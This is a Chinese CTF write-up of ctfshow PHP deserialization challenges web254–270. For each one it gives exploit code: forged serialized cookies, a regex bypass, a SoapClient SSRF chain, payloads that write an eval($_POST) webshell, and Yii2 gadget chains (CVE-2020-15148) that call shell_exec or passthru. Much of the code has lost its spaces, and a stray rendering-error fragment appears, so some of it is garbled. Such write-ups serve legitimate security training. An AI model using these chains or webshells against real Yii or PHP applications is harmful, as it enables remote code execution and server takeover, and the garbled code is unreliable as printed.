web254
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/error_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return$this->isVip;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=newctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}
看着代码挺多 一步步看
首先定位怎么拿flag
classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return$this->isVip;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;//输出flag}else{echo"no vip, no flag";}}}
publicfunctionlogin($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return$this->isVip;}
主要是是这段
如果username和
u
相等,
p
a
s
s
w
o
r
d
和
u 相等 ,password和
u相等,password和p 相等执行下一句 赋值 ,然后 返回 isvip等于true
我们直接让isvip 等于true ,然后输入username的时候等于 源代码里面的值
其实就是个判断都还没开始上序列化
web255
classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}
开始上反序列化了,
publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;}else{echo"no vip, no flag";}}
获取flag的地方
if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}
然后就是这里 ,username 和password要相等也是,
然后这里反序列化的地方在cookie ,
我们只需要把isvip 改为true 试试
把代码复制到自己的电脑上
改成这样,然后构造payload
GET/?username=xxxxxx&password=xxxxxx HTTP/1.1
Host:67f048e2-f798-4297-99ac-987be6b53c28.challenge.ctf.show
Upgrade-Insecure-Requests:1
User-Agent: Mozilla/5.0(Windows NT10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Connection: close
web256
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/error_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;if($this->username!==$this->password){echo"your flag is ".$flag;}}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}
publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;if($this->username!==$this->password){echo"your flag is ".$flag;}}else{echo"no vip, no flag";}}
要这段代码才能获取flag
输入的username 和 password 各种相等,有不要username和password 相等
直接可以修改这里
public$username='xxxxxx1';public$password='xxxxxx2';public$isVip=true;
改成这样
生成payload 打过去就好了
web257
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com
*/error_reporting(0);highlight_file(__FILE__);classctfShowUser{private$username='xxxxxx';private$password='xxxxxx';private$isVip=false;private$class='info';publicfunction__construct(){$this->class=newinfo();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{private$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{private$code;publicfunctiongetInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);$user->login($username,$password);}
开始出现魔法函数了
先看能获取flag的地方
classbackDoor{private$code;publicfunctiongetInfo(){eval($this->code);}}
backDoor 类下面的getinfo方法可以直接代码获取flag
但是没有调用backDoor类,不会执行下面的东西
往上找看看那个能调用
classctfShowUser{private$username='xxxxxx';private$password='xxxxxx';private$isVip=false;private$class='info';publicfunction__construct(){$this->class=newinfo();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}
这个类存在 两个魔法函数
__construct 和 __destruct 一一解释
__construct
__destruct
__construct是在对象被创建的时候执行这个函数 ,
$this->class=new info(); 这里刚好创建了一个info对象 ;
思路就是把info改为backDoor 他会去执行并调用 这个 backDoor
payload:
<?phpclassctfShowUser{private$username='xxxxxx';private$password='xxxxxx';private$isVip=false;private$class='info';publicfunction__construct(){$this->class=newbackDoor();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{private$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{private$code="phpinfo();";publicfunctiongetInfo(){eval($this->code);}}$a=newctfShowUser();echourlencode(serialize($a));?>
修改命令获取flag 就欧克 了
web258 使用+ 绕过 O:数字
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com
*/error_reporting(0);highlight_file(__FILE__);classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;public$class='info';publicfunction__construct(){$this->class=newinfo();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{public$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{public$code;publicfunctiongetInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){if(!preg_match('/[oc]:\d+:/i',$_COOKIE['user'])){$user=unserialize($_COOKIE['user']);}$user->login($username,$password);}
多加一条 正则
if(!preg_match('/[oc]:\d+:/i',$_COOKIE['user'])){
user 里面不能包含 [O]:数字
怎么绕过呢
可以在数字前加入+
比如生成的 反序列化是这样
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}
绕过
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}
在11前面加入+ 就可以了 ,后面同理
生成payload
<?phpclassctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;public$class='info';publicfunction__construct(){$this->class=newbackDoor();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{public$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{public$code="phpinfo();";publicfunctiongetInfo(){eval($this->code);}}$a=newctfShowUser();// echo serialize($a);$b='O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
';echourlencode($b);
在进行url编码
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%0D%0A
web259 原生类SoapClient 和 ssrf
题目
<?phphighlight_file(__FILE__);$vip=unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
Notice: Undefined index: vip in /var/www/html/index.php on line 6
Fatal error: Uncaught Error: Call to a member functiongetFlag() on bool in /var/www/html/index.php:8 Stack trace:#0 {main} thrown in /var/www/html/index.php on line 8
给了一个反序列化的传参,然后去调用getflag ,但是我们不知道是getflag里面是什么
提示:
flag.php$xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip=array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token=$_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
ip是数组 然后要等于127.0.0.1
post数据为token ,token要等于 ctfshow 然后就会写入flag 到flag.txt ,然后直接访问就好了 应该
看了wp 要使用SoapClient 原生类来构造
PHP: SoapClient - Manual
这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
exp:
<?php$target='http://127.0.0.1/flag.php';$post_string='token=ctfshow';$b=newSoapClient(null,array('location'=>$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"ssrf"));$a=serialize($b);$a=str_replace('^^',"\r\n",$a);echourlencode($a);?>
这里不是使用php8 不然不成功
发送payloda
web260
正则
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo$flag;}
web261 file_put_contents写shell
<?phphighlight_file(__FILE__);classctfshowvip{public$username;public$password;public$code;publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}publicfunction__wakeup(){if($this->username!=''||$this->password!=''){die('error');}}publicfunction__invoke(){eval($this->code);}publicfunction__sleep(){$this->username='';$this->password='';}publicfunction__unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code=$this->username.$this->password;}publicfunction__destruct(){if($this->code==0x36d){file_put_contents($this->username,$this->password);}}}unserialize($_GET['vip']);
魔法函数挺多的
先看能执行eval的代码
publicfunction__invoke(){eval($this->code);}
__invoke
只要调用了__invoke 就可以执行代码
把对象当成函数调用才能触发
但是没用找到把对象当成函数调用的点
__wakeup好绕过
publicfunction__wakeup(){if($this->username!=''||$this->password!=''){die('error');}}
__sleep
sleep调用不了 ,要序列化才能被调用
publicfunction__sleep(){$this->username='';$this->password='';}
__construct
publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}
实例化一个对象的时候触发 ,用于变量赋值
__destruct
析构函数,在对象的所有引⽤被删除或者当对象被显式销毁时执⾏的魔术⽅法
publicfunction__destruct(){if($this->code==0x36d){file_put_contents($this->username,$this->password);}}
就是这个函数了,当对象被引用或被销毁就可以触发
publicfunction__destruct(){if($this->code==0x36d){file_put_contents('a.php','一句话');}}
这样尝试看看
构造exp
思路 __wakup 和 invoke ,sleep都是用不到的
<?phpclassctfshowvip{public$username='877.php';public$password='<?php eval($_POST["cmd"]); ?>';public$code=0x36d;}$a=newctfshowvip();echourlencode(serialize($a));
或者这样 只留下有用的
<?phpclassctfshowvip{public$username;public$password;public$code=877;publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}publicfunction__destruct(){if($this->code==0x36d){file_put_contents($this->username,$this->password);}}}$a=newctfshowvip('877a.php','<?php eval($_POST["cmd"]); ?>');echourlencode(serialize($a));
直接把值传入public 就可以了
然后直接访问就可以
web262 字符串逃逸
<?phperror_reporting(0);classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}$f=$_GET['f'];$m=$_GET['m'];$t=$_GET['t'];if(isset($f)&&isset($m)&&isset($t)){$msg=newmessage($f,$m,$t);$umsg=str_replace('fuck','loveU',serialize($msg));setcookie('msg',base64_encode($umsg));echo'Your message has been sent';}highlight_file(__FILE__);
存在一个message.php
<?phphighlight_file(__FILE__);include('flag.php');classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}if(isset($_COOKIE['msg'])){$msg=unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo$flag;}}
我们要token==admin就可以获取flag
两种解法:
字符串逃逸
<?phpclassmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}functionfilter($msg){returnstr_replace('fuck','loveU',$msg);}//第一步先输出序列化内容// $a = new message('a','b','c'); //a改为fuck$msg=newmessage('fuck','b','c');// echo serialize($a);//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}//我们要逃逸的是token =admin 才能获取flag//第二步把匹配规则拿过来 //O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";} 生成的序列化//让他过滤// $msg_1 = serialize($msg);// // $msg_2 = filter($msg_1);// echo $msg_2;//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}//第三步就是构造exp $msg_1=serialize($msg);$msg_2=filter($msg_1);echo$msg_2;//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";} //这里输出的s:4:"loveU" 他原数值是4 ,但是通过替换就变成了5个字符,但是值还是4 就逃逸出来了一个U//我们要逃逸 user 把user变成 admin 刚好是五个
构造exp
//第三步就是构造exp $msg=newmessage('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');//把payload加到fuck后面$msg_1=serialize($msg);$msg_2=filter($msg_1);echo$msg_2;echo"<br>";$obj=unserialize($msg_2);var_dump($obj);// echo base64_encode($msg_2);//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";} 62个字符 fuck 也要添加为62个fuck// 生成的值 刚好310个//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
这样看就把admin 逃逸出去了
最后exp
<?phpclassmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}functionfilter($msg){returnstr_replace('fuck','loveU',$msg);}//第三步就是构造exp $msg=newmessage('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');//把payload加到fuck后面$msg_1=serialize($msg);$msg_2=filter($msg_1);// echo $msg_2;// echo "<br>";// $obj = unserialize($msg_2);// // var_dump($obj);//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";} 62个字符 fuck 也要添加为62个fuck// 生成的值 刚好310个//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}//生成exp echobase64_encode($msg_2);
把生成的base64 提交进去就好了
直接修改为admin
<?phpclassmessage{public$from;public$msg;public$to;public$token='admin';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}$a=newmessage('a','b','c');echobase64_encode(serialize($a));
生成的base64
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
web263 session 反序列化
登录框
这种F12 没有数据,扫描目录发现存在一个www.zip 文件
下载下来搜索 serialize ,eval ,file_ ,exec 这些函数
存在一个魔法函数 __destruct()函数
存在一个file_put_contents 函数可以写入文件
EXP:
//payload<?php
classUser{public$username="1.php";public$password='<?php eval($_POST[a]);?>//';}echourlencode(base64_encode(serialize("|".serialize(newUser))));
czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D
带着cookie 去访问index ,然后再去访问check.php
然后再去访问log_1.php
post 传入 :a=system(‘cat flag.php’);
F12获取flag
参考:
ctfshow web入门 反序列化 263_ctfshow web263-CSDN博客
web263_哔哩哔哩_bilibili
web264 反序列化逃逸
<?phperror_reporting(0);session_start();classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}$f=$_GET['f'];$m=$_GET['m'];$t=$_GET['t'];if(isset($f)&&isset($m)&&isset($t)){$msg=newmessage($f,$m,$t);$umsg=str_replace('fuck','loveU',serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo'Your message has been sent';}highlight_file(__FILE__);
和262 差不多
使用简单的方式
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
我们只要token 等于amdin
";s:5:"token";s:5:"admin";} 27个字符
所以我们需要27个fuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
去首页添加payload
然后再去访问 message.php
添加cookie 为 msg=1
刷新就ok
web265 php指针引用 序列地址共享
<?phperror_reporting(0);include('flag.php');highlight_file(__FILE__);classctfshowAdmin{public$token;public$password;publicfunction__construct($t,$p){$this->token=$t;$this->password=$p;}publicfunctionlogin(){return$this->token===$this->password;}}$ctfshow=unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo$flag;}
publicfunction__construct($t,$p){$this->token=$t;$this->password=$p;}publicfunctionlogin(){return$this->token===$this->password;}
主要是 token 和 password要全等于
但是这里输入的值肯定是相等的,但是他们的虚拟地址 是不相等的, 就要用到地址共享就要用到php指针引用
这里原本的KaTeX parse error: Expected 'EOF', got '&' at position 7: P 添加为 &̲this -> token 这里就是进行地址指向
看他序列化后输出的值 后password的值是R:2
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;如果要引用对象内第一个元素,序列化后则为R:2。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
提交
web266 大小写绕过
<?php$cs=file_get_contents('php://input');classctfshow{public$username='xxxxxx';public$password='xxxxxx';publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}publicfunctionlogin(){return$this->username===$this->password;}publicfunction__toString(){return$this->username;}publicfunction__destruct(){global$flag;echo$flag;}}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/',$cs)){thrownewException("Error $ctfshowo",1);}
只要让他不触发这个异常类就可以
if(preg_match('/ctfshow/',$cs)){thrownewException("Error $ctfshowo",1);}
/ctfshow/ 不能存在ctfshow这几个字,php是支持大小写的
直接post发送 因为存在php://inputO:7:"ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
把c改为大写
O:7:"Ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
获取flag
web267 YII框架反序列化 外带 ,写webshell
F12查看
发现是YIi框架
版本
2.0 版本 是存在漏洞 反序列化链子的
存在一个登录的地方 ,试试弱口令admin,123456 ,admin/admin admin/admin123
admin/admin 成功登录
登录之后 about的界面变了 ,F12看看
存在一个注释:view-source
添加访问
出现了注入的路径和参数点
r=/backdoor/shell&code=123
服务器发生错误 ,证明存在这个页面
去找找yii框架漏洞 。
挺多的
<?phpnamespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='phpinfo';$this->id='1';}}}namespaceFaker{useyii\rest\CreateAction;classGenerator{protected$formatters;publicfunction__construct(){$this->formatters['close']=[newCreateAction(),'run'];}}}namespaceyii\db{useFaker\Generator;classBatchQueryResult{private$_dataReader;publicfunction__construct(){$this->_dataReader=newGenerator;}}}namespace{echobase64_encode(serialize(newyii\db\BatchQueryResult));//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19}?>
这个是执行phpinfo的
执行命令 , 修改system
没有回显 白板。。
本来这里是可以外带的 ,但是dnslog起不来 ,ceye也没有带起来
dnslog外带
这样写就可以了
这里写webshell
写webshell
这里的路径 是外带获取pwd的路径的 (看的wp视频)
<?phpnamespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='shell_exec';$this->id="echo '<?php eval($_POST[1]);? >' > /var/www/html/basic/web/1.php";}}}namespaceFaker{useyii\rest\CreateAction;classGenerator{protected$formatters;publicfunction__construct(){$this->formatters['close']=[newCreateAction(),'run'];}}}namespaceyii\db{useFaker\Generator;classBatchQueryResult{private$_dataReader;publicfunction__construct(){$this->_dataReader=newGenerator;}}}namespace{echobase64_encode(serialize(newyii\db\BatchQueryResult));//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19}?>
报错
成功写入php 现在写一句话
<?phpnamespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='shell_exec';//这里要使用\转义$this->id="echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php";}}}namespaceFaker{useyii\rest\CreateAction;classGenerator{protected$formatters;publicfunction__construct(){$this->formatters['close']=[newCreateAction(),'run'];}}}namespaceyii\db{useFaker\Generator;classBatchQueryResult{private$_dataReader;publicfunction__construct(){$this->_dataReader=newGenerator;}}}namespace{echobase64_encode(serialize(newyii\db\BatchQueryResult));//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19}?>
成功执行 ,
web268 Yii框架 passthru 命令执行
同样的
但是用上道题的payload 已经不行了
phpinfo已经不行了
换payload
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: [email protected]
# @link: https://ctfer.com
*/namespaceyii\rest{classAction{public$checkAccess;}classIndexAction{publicfunction__construct($func,$param){$this->checkAccess=$func;$this->id=$param;}}}namespaceyii\web{abstractclassMultiFieldSession{public$writeCallback;}classDbSessionextendsMultiFieldSession{publicfunction__construct($func,$param){$this->writeCallback=[new\yii\rest\IndexAction($func,$param),"run"];}}}namespaceyii\db{useyii\base\BaseObject;classBatchQueryResult{private$_dataReader;publicfunction__construct($func,$param){$this->_dataReader=new\yii\web\DbSession($func,$param);}}}namespace{$exp=new\yii\db\BatchQueryResult('shell_exec','echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');echo(base64_encode(serialize($exp)));}?>
使用 passthru 可以回显执行命令
web269
只有使用上一个payload
另外的poc
<?phpnamespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='passthru';$this->id='id';}}}namespaceFaker{useyii\rest\CreateAction;classGenerator{protected$formatters;publicfunction__construct(){// 这里需要改为isRunning$this->formatters['render']=[newCreateAction(),'run'];}}}namespacephpDocumentor\Reflection\DocBlock\Tags{useFaker\Generator;classSee{protected$description;publicfunction__construct(){$this->description=newGenerator();}}}namespace{usephpDocumentor\Reflection\DocBlock\Tags\See;classSwift_KeyCache_DiskKeyCache{private$keys=[];private$path;publicfunction__construct(){$this->path=newSee;$this->keys=array("axin"=>array("is"=>"handsome"));}}// 生成pocechobase64_encode(serialize(newSwift_KeyCache_DiskKeyCache()));}?>
web270 新链子
上一条链子已经没有用了
<?phpnamespaceyii\rest{classIndexAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='passthru';$this->id='cat /fl*';}}}namespaceyii\db{useyii\web\DbSession;classBatchQueryResult{private$_dataReader;publicfunction__construct(){$this->_dataReader=newDbSession();}}}namespaceyii\web{useyii\rest\IndexAction;classDbSession{public$writeCallback;publicfunction__construct(){$a=newIndexAction();$this->writeCallback=[$a,'run'];}}}namespace{useyii\db\BatchQueryResult;echobase64_encode(serialize(newBatchQueryResult()));}?>
Yii框架链子 参考:::
(CVE 2020 15148)Yii2框架反序列化漏洞 - Wiki
